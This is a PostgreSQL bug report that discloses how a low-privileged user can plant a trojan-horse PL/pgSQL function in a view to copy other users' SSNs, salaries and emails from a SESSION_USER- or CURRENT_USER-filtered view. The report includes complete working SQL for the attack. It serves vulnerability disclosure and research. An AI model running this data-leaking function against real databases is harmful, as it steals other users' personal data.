BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe

The following bug has been logged online:

Bug reference: 4074
Logged by: Lars Olson
Email address: leolson1(at)uiuc(dot)edu
PostgreSQL version: 8.3.1
Operating system: Windows XP
Description: Using SESSION_USER or CURRENT_USER in a view definition
is unsafe
Details:

Creating a view that depends on the value of SESSION_USER enables a
minimally-privileged user to write a user-defined function that contains a
trojan-horse to get arbitrary data from the base table. Using CURRENT_USER
instead still enables a similar vulnerability.

To reproduce the problem, create three users, alice (base table owner), bob
(attacker), and carol (other minimally-privileged user). As Alice, create
the following table and view:

CREATE TABLE employee(
name varchar(50) unique,
ssn int,
salary int,
email varchar(30));
INSERT INTO employee VALUES('alice',123456789,70000,'alice(at)example(dot)com');
INSERT INTO employee VALUES('bob',234567890,70000,'bob(at)example(dot)com');
INSERT INTO employee VALUES('carol',345678901,70000,'carol(at)example(dot)com');

CREATE VIEW employee_view AS
SELECT * FROM employee
WHERE name=SESSION_USER;

GRANT SELECT ON employee_view TO bob,carol;

At this point, Bob and Carol should both be able to access their own
employee data by executing SELECT * FROM employee_view; but not each other's
data.

As Bob, create the following tables, function, and view:

CREATE TABLE picnic(
username varchar(50),
assignment varchar(50));
INSERT INTO picnic VALUES('alice','chips');
INSERT INTO picnic VALUES('bob','drinks');
INSERT INTO picnic VALUES('carol','salad');

CREATE TABLE employee_leaked_data(
username varchar(50) unique,
ssn int,
salary int,
email varchar(30));

CREATE FUNCTION leakInfo()
RETURNS BOOLEAN AS $$
DECLARE
name1 varchar(50);
ssn1 int;
salary1 int;
email1 varchar(50);
BEGIN
FOR name1, ssn1, salary1, email1 IN SELECT * FROM employee_view LOOP
BEGIN
INSERT INTO employee_leaked_data VALUES (name1, ssn1, salary1,
email1);
EXCEPTION WHEN unique_violation THEN
UPDATE employee_leaked_data SET ssn=ssn1, salary=salary1,
email=email1
WHERE name=name1;
END;
END LOOP;
RETURN true;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

CREATE VIEW picnic_view AS
SELECT * FROM picnic WHERE leakInfo();
GRANT SELECT ON picnic_view TO alice, carol;

As Carol, query Bob's table:
SELECT * FROM picnic_view;

Bob can now view Carol's employee information:
SELECT * FROM employee_leaked_data;

If Alice uses CURRENT_USER instead of SESSION_USER, Bob can still execute a
similar attack if he defines function leakInfo() with SECURITY INVOKER
instead of SECURITY DEFINER, and then grants privileges on
employee_leaked_data:
GRANT SELECT,INSERT,UPDATE ON employee_leaked_data TO alice, carol;
In this case, Alice and Carol might be able to notice the existence of this
table and detect the information leakage, however the data could be
obfuscated or even encrypted to counter this.

It's difficult to say exactly how such a problem should be fixed. Clearly a
simple solution is that SESSION_USER and CURRENT_USER should not be used for
evaluating view conditions, and perhaps this should be added to the
documentation.

This is highly related to a paper I am preparing for a security conference
that I am submitting in two weeks. Sorry about the short notice, I only
just thought of this problem yesterday. I would like to use this as an
example in my paper, but I will not do so without PostgreSQL's permission.
Please advise.